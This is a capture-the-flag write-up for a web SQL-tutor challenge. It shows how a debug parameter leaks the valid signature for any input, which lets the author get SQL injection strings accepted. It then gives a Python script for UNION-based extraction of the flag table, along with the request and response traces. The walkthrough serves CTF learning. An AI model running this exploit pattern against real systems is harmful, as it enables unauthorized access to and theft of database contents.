We have an application where we can learn SQL, we also have a input that will be replaced in the query :
Let's check the request :
POST /verify_and_sign_text HTTP/2
text=Zm9v&alg=sha1
Zm9v is 'foo' base64 encoded. And the response is :
{"status":"ok","trimmedText":"Zm9v","signature":"c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65","debug":null}
We see the debug parameter, this is weird, let's try to set it to true.
POST /verify_and_sign_text HTTP/2
text=Zm9v&alg=sha1&debug=true
Response :
{
"status":"ok",
"trimmedText":"Zm9v",
"signature":"c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65",
"debug":{
"input":{
"alg":"sha1",
"text":"Zm9v"
},
"steps":[
"Selected sha1 algorithm ✅",
"Decoded text from base64 ✅",
"Trimmed and checked the text ✅",
"Created signature: sha1(secret+sanitize(text)) ✅"
]
}
}
This is so interesting! Now we know how the signature is crafted but we would have to bruteforce the secret key. We also have another endpoint (/endpoint
) where we send
the text and signature :
POST /execute HTTP/2
text=Zm9v&signature=c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65&queryNo=0
Response :
{
"status":"ok",
"query":"SELECT * FROM users WHERE users.name='foo'",
"results":[
],
"description":"This query selects all users with the name 'foo'.",
"debug":null
}
Let's try here to use an invalid text (due to the fact that the signature would not match, in my case I'll use ' or 1=1--
) :
{
"status":"error",
"message":"Invalid text signature, this incident will be reported!",
"debug":{
"input":{
"signature":"c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65",
"text":"JyBvciAxPTEtLSA="
},
"steps":[
"Decoded text from base64 ✅",
"Selected query #0 ✅"
],
"compare":"0b40a2290d6bbdcd641799b53159a5d2e82512c7 !== c6ff6dfadf2866dfd0bc7e0b2a1e8284c9759b65"
}
}
In the compare
field we can see the signature that correspond to our text, let's try to use that one :
POST /execute HTTP/2
text=JyBvciAxPTEtLSA%3D&signature=0b40a2290d6bbdcd641799b53159a5d2e82512c7&queryNo=0&debug=true
Response :
{
"status":"ok",
"query":"SELECT * FROM users WHERE users.name='' or 1=1-- '",
"results":[
{
"id":1,
"name":"Branko",
"surname":"Cakarmish",
"age":19
},
[...]
],
"description":"This query selects all users with the name '' or 1=1-- '.",
"debug":{
"input":{
"signature":"0b40a2290d6bbdcd641799b53159a5d2e82512c7",
"text":"JyBvciAxPTEtLSA="
},
"steps":[
"Decoded text from base64 ✅",
"Selected query #0 ✅",
"Confirmed text and signature match ✅",
"Executed query ✅"
]
}
}
Nice! This worked, let's try to perform a SQL Injection attack, in my case I made a script :
import requests
import json
import base64
url = "https://sqltutor.dragonsec.si:443/execute"
# Get table -> SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 1
# Get Column -> SELECT column_name from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='flags' LIMIT 1 OFFSET 1
query = "SELECT flag FROM flags"
query = f"Branko' UNION SELECT ({query}), 1, 1, 1-- "
data = {"text": base64.b64encode(query.encode("utf-8")).decode(),
"signature": "0b40a2290d6bbdcd641799b53159a5d2e82513c7",
"queryNo": "0",
"debug": "true"}
r = requests.post(url, data=data)
signature = json.loads(r.text)["debug"]["compare"].split()[0]
data = {"text": base64.b64encode(query.encode("utf-8")).decode(),
"signature": signature,
"queryNo": "0",
"debug": "true"}
r = requests.post(url, data=data)
print(json.loads(r.text)["results"][1]["id"])
Flag :
dctf{Pump_7h3_s7r3am_h4s5_up!_353aa965}